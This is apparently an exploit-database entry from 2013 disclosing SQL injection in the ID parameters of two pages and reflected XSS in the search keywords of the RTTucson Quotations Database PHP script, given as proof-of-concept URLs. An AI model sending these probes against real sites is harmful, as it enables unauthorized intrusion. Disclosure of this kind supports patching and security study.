RTTucson Quotations Database - Multiple Vulnerabilities

Author: 3spi0n
type: webapps
platform: php
port: 
date_added: 2013-02-20 
date_updated: 2013-02-20 
verified: 1 
codes: OSVDB-90500;OSVDB-90499;OSVDB-90498 
tags: 
aliases:  
screenshot_url:  
application_url: 

##################################################################################
       __            _                      _            ____
      / /___ _____  (_)_____________ ______(_)__  _____ / __ \_________ _
 __  / / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/
/ /_/ / /_/ / / / / (__  |__  ) /_/ / /  / /  __(__  )/ /_/ / /  / /_/ /
\____/\__,_/_/ /_/_/____/____/\__,_/_/  /_/\___/____(_)____/_/   \__, /
                                                                /____/
##################################################################################
RTTucson Quotations Database Script, Multiple Vulnerabilities
Software Page: http://www.rttucson.com/index.html
Script Demo: http://www.rttucson.com/quotations/default.php

Author(Pentester): 3spi0n
On Social: Twitter.Com/eyyamgudeer
Greetz: Grayhatz Inc. and Janissaries Platform.
##################################################################################

[~] MySQL Injection on Demo Site

[+] (author.php, ID Param)
>>> http://server/quotations/author.php?ID=5' (MySQLi Found)

[+] (category_quotes.php, ID Param)
>>> http://server/quotations/category_quotes.php?ID=9' (MySQLi Found)

[~] XSS on Demo Site

>> (quote_search.php, keywords Param)
>>> http://server/quotations/quote_search.php?keywords=<h1>Xssed-3spi0n</h1>